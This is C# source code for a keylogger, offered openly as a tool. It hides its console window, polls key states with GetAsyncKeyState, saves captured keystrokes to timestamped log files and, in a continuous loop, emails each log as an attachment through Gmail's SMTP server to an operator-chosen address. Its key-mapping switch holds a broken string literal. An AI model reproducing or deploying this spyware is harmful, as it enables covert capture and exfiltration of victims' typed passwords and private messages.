C# Keylogger

using System;

using System.Collections.Generic;

using System.Linq;

using System.Text;



namespace winklog

{

using System;

using System.IO;

using System.Net;

using System.Net.Mail;

using System.Runtime.InteropServices;

using System.Text;

using System.Threading;



internal class winklog

{

public winklog() { }



[DllImport("user32.dll", SetLastError = false)]

private static extern short GetAsyncKeyState(int vKey);

[DllImport("user32.dll", SetLastError = false)]

public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);

[DllImport("user32.dll", SetLastError = false)]

private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);



static void Main(string[] args)

{

IntPtr intPtr;

string str;

int i;

bool bl;

//Email parameters: just as a note, it is pre-setup to work with Gmail. To edit, look up your mail host's information and edit here

string host = "smtp.gmail.com", userName, pswd= "", fromAddress= "", toAddress= "", body, subject = string.Concat("New Log from ", Environment.MachineName), fileName;

int port = 587;

bool sslEnabled = true;



if (args.Length != 4)

{

Console.WriteLine("Username: ");

userName = Console.ReadLine();

if (userName == "default")

{

//fill in from file

}

else

{

Console.WriteLine("From: ");

fromAddress = Console.ReadLine();

Console.WriteLine("To: ");

toAddress = Console.ReadLine();

pswd = Returnpassword();

}

}

else

{

userName = args[0].ToString();

fromAddress = args[1].ToString();

toAddress = args[2].ToString();

pswd = args[3].ToString();

}



intPtr = winklog.FindWindow(null, Console.Title);

bl = intPtr == IntPtr.Zero;

if (!bl)

{

winklog.ShowWindow(intPtr, 0);

}



str = "";

while (true)

{

while ((str.Length < 250))

{

i = 1;

while ((i < 255))

{

bl = winklog.GetAsyncKeyState(i) == 0;

if (!bl)

{

str = string.Concat(str, checkExceptions(i));

Console.WriteLine(str);

Thread.Sleep(115);

}

i++;

}

}

DateTime dtm = DateTime.Now;

string str1 = DateTime.Now.ToString();

str1 = str1.Replace(':', '_');

str1 = str1.Replace('/', '_');

fileName = string.Concat(Environment.CurrentDirectory, "\\Log_", str1, ".txt");

FileStream fileStream = new FileStream(fileName, FileMode.CreateNew, FileAccess.Write);

StreamWriter streamWriter = new StreamWriter(fileStream);

streamWriter.Write(str);

streamWriter.Close();

fileStream.Close();

DateTime dtm1 = DateTime.Now;

winklog.SendMail(host, port, userName, pswd, fromAddress, toAddress, body = string.Concat("Key log for ", DateTime.Now.ToString()), subject, sslEnabled, fileName);

str = "";

}

}



public static void SendMail(string host, int port, string userName, string pswd, string fromAddress, string toAddress, string body, string subject, bool sslEnabled, string fileName)

{

MailMessage mailMessage;

SmtpClient smtpClient;

mailMessage = new MailMessage(new MailAddress(fromAddress), new MailAddress(toAddress));

mailMessage.Subject = subject;

mailMessage.SubjectEncoding = Encoding.UTF8;

mailMessage.Body = body;

mailMessage.BodyEncoding = Encoding.UTF8;

mailMessage.IsBodyHtml = false;

mailMessage.Attachments.Add(new Attachment(fileName));

smtpClient = new SmtpClient(host, port);

smtpClient.Credentials = new NetworkCredential(userName, pswd);

smtpClient.EnableSsl = sslEnabled;

try

{

smtpClient.Send(mailMessage);

Console.WriteLine("Your message was sent successfully.");

}

catch (SmtpException smtpException1)

{

Console.WriteLine("There was an error sending your message. {0}", smtpException1.Message);

}

}



public static string Returnpassword()

{

Console.WriteLine("Password: ");

string password = "";

ConsoleKeyInfo info = Console.ReadKey(true);

while (info.Key != ConsoleKey.Enter)

{

if (info.Key != ConsoleKey.Backspace)

{

password += info.KeyChar;

info = Console.ReadKey(true);

}

else if (info.Key == ConsoleKey.Backspace)

{

if (!string.IsNullOrEmpty(password))

{

password = password.Substring

(0, password.Length - 1);

}

info = Console.ReadKey(true);

}

}

for (int i = 0; i < password.Length; i++)

Console.Write("*");

return password;

}



public static string checkExceptions(int i)

{

switch (i)

{

case 1:

return "";



case 2:

return "";



case 8:

return "";



case 9:

return "";



case 13:

return "";



case 0x10:

return "";



case 0x11:

return "";



case 0x12:

return "";



case 20:

return "";



case 0x21:

return "";



case 0x22:

return "";



case 0x23:

return "";



case 0x24:

return "";



case 0x25:

return "";



case 0x26:

return "";



case 0x27:

return "";



case 40:

return "";



case 0x2c:

return "";



case 0x2d:

return "";



case 0x5b:

return "";



case 0x5d:

return "

    ";



    case 0x70:

    return "";



    case 0x71:

    return "";



    case 0x72:

    return "";



    case 0x73:

    return "";



    case 0x74:

    return "";



    case 0x75:

    return "";



    case 0x76:

    return "";



    case 0x77:

    return "";



    case 120:

    return "";



    case 0x79:

    return "";



    case 0x7a:

    return "";



    case 0x7b:

    return "";



    case 0x90:

    return "";



    case 160:

    return "";



    case 0xa1:

    return "";



    case 0xa2:

    return "";



    case 0xa3:

    return "";



    case 0xa4:

    return "";



    case 0xa5:

    return "";



    case 0xba:

    return ";";



    case 0xbb:

    return "=";



    case 0xbc:

    return ",";



    case 0xbd:

    return "-";



    case 190:

    return ".";



    case 0xbf:

    return "/";



    case 0xdb:

    return "[";



    case 220:

    return @"\";



    case 0xdd:

    return "]";



    case 0xde:

    return "'";

    }

    char ch = (char)i;

    return ch.ToString();

    }













    }

    }